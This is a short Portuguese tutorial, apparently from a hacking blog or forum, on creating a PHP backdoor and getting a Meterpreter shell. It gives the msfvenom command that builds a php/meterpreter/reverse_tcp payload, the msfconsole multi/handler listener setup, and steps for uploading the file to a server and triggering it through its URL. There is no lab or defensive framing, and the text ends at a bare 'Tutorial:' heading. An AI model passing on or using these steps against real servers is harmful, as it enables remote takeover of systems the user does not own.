Criar um Backdoor em PHP e Pegar shell Meterpreter
Criar o Backdoor:
$ msfvenom -p php/meterpreter/reverse_tcp lhost=seu-ip lport=sua-porta > nome.phpEscutar o Backdoor:
$ msfconsole$ use multi/handler
$ set lhost seu-ip
$ set lport sua-porta
$ exploit
Depois do Comando "exploit" o seu backdoor ficará em escuta...
Upload do Backdoor:
Depois que você fazer o upload do backdoor no Servidor, você vai ter que ir na URL do arquivo e apertar "Enter" para que o PHP Malicioso seja executado no servidor e assim cair a shell no seu Metasploit...[ ! ] Assim que você clicar na URL do Backdoor, a shell do servidor irá subir no seu meterpreter.
Tutorial: